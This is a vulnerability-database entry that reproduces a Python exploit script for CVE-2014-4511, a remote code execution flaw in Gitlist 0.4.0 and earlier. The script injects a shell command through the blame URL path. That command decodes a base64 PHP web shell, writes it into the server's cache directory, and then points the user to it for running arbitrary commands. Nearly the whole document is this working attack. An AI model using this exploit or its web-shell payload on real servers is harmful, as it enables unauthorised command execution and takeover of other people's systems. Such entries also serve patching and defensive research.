Gitlist <= 0.4.0 - Remote Code Execution

2014-07-0100:00:00

Root

www.seebug.org

0.965 High

EPSS

Percentile

99.6%

JSON

No description provided by source.


                                                from commands import getoutput
import urllib
import sys

&#34;&#34;&#34; 
Exploit Title: Gitlist &#60;= 0.4.0 anonymous RCE
Date: 06/20/2014
Author: drone (@dronesec)
Vendor Homepage: http://gitlist.org/
Software link: https://s3.amazonaws.com/gitlist/gitlist-0.4.0.tar.gz
Version: &#60;= 0.4.0
Fixed in: 0.5.0
Tested on: Debian 7
More information: http://hatriot.github.io/blog/2014/06/29/gitlist-rce/
cve: CVE-2014-4511
&#34;&#34;&#34;

if len(sys.argv) &#60;= 1:
    print &#39;%s: [url to git repo] {cache path}&#39; % sys.argv[0]
    print &#39;  Example: python %s http://localhost/gitlist/my_repo.git&#39; % sys.argv[0]
    print &#39;  Example: python %s http://localhost/gitlist/my_repo.git /var/www/git/cache&#39; % sys.argv[0]
    sys.exit(1)

url = sys.argv[1]
url = url if url[-1] != &#39;/&#39; else url[:-1]

path = &#34;/var/www/gitlist/cache&#34;
if len(sys.argv) &#62; 2:
    path = sys.argv[2]

print &#39;[!] Using cache location %s&#39; % path

# payload &#60;?system($_GET[&#39;cmd&#39;]);?&#62;
payload = &#34;PD9zeXN0ZW0oJF9HRVRbJ2NtZCddKTs/Pgo=&#34;

# sploit; python requests does not like this URL, hence wget is used
mpath = &#39;/blame/master/&#34;&#34;`echo {0}|base64 -d &#62; {1}/x.php`&#39;.format(payload, path)
mpath = url+ urllib.quote(mpath)

out = getoutput(&#34;wget %s&#34; % mpath)
if &#39;500&#39; in out:
    print &#39;[!] Shell dropped; go hit %s/cache/x.php?cmd=ls&#39; % url.rsplit(&#39;/&#39;, 1)[0]
else:
    print &#39;[-] Failed to drop&#39;
    print out

0.965 High

EPSS

Percentile

99.6%

JSON

Related for SSV:87092